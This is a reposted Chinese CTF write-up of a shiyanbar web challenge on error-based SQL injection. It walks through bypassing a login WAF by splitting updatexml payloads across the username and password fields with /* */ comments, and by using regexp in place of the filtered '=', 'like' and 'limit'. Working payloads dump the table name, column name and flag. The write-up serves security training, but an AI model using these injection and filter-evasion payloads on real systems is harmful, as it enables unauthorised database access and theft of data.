实验吧 加了料的报错注入

转载

weixin_30735745 于 2017-12-26 14:29:00 发布 23 收藏
文章标签： php 数据库
原文链接：http://www.cnblogs.com/baifan2618/p/8117805.html

链接：http://ctf5.shiyanbar.com/web/baocuo/index.php

这题有坑点
POST提交
username=&password=
右键源码：
$sql="select * from users where username='$username' and password='$password'";
一开始我用burpsuite跑username处的单字符waf，发现被过滤了#-:=
而在username处使用(),会显示出User name unknow error:
我一开始在这里郁闷了好久，不用()还能玩？？？

最后发现在password处提交的就可以使用(), 看到这里就会发现有所古怪吧。于是可以在password弄一些函数

当输出
username=' or '1&password=' or pcat() or '1
显示为
FUNCTION error_based_hpf.pcat does not exist
这里库名是error_based_hpf

而在password处使用报错函数
floor、ExtractValue、UpdateXml、GeometryCollection、polygon、multipoint、multlinestring、multpolygon、linestring
会出现
被waf或者Unknown password error.
而name_const利用复杂而没被出题人看上吧，而exp由于作者不想过滤掉regexp而不得不保留exp（实属遗憾）

然后这里再回想刚才我们的做法，括号在右边可行，但报错函数名在右边不可行，那么我们尝试下报错函数名在左边可否，最后发现是可以的。
这里再观看刚才报出来的库名error_based_hpf
hpf全称为HTTP Parameter Fragment，sql注入里有一种就叫http分割注入
payload：
username=' or updatexml/*&password=*/(1,concat(0x3a,(select user())),1) or '
这里username最后为 /* 而password最前面为*/ 在拼接的时候就实现了/* */注释功能

出题人的意图就是左边不能出现括号，右边不能出现报错函数名

先试出一些waf：
substr mid left right union limit like

爆表名，由于不能等号、limit、like，于是借用regexp
username=' or updatexml/*&password=*/(1,concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema regexp database())),1) or '

得到
ffll44jj

爆列名
username=' or updatexml/*&password=*/(1,concat(0x3a,(select group_concat(column_name) from information_schema.columns where table_name regexp 'ffll44jj')),1) or '
得到
value

爆flag
username=' or updatexml/*&password=*/(1,concat(0x3a,(select value from ffll44jj)),1) or '

总结：
这题还是很用心，但唯一的遗憾在于右边不过滤掉exp，导致右边直接exp报错即可。
另外，盲注也可以，参考我上一篇《认真一点》的writeup，把等号同样用regexp来操作。

转载 http://www.shiyanbar.com/ctf/writeup/4869

转载于:https://www.cnblogs.com/baifan2618/p/8117805.html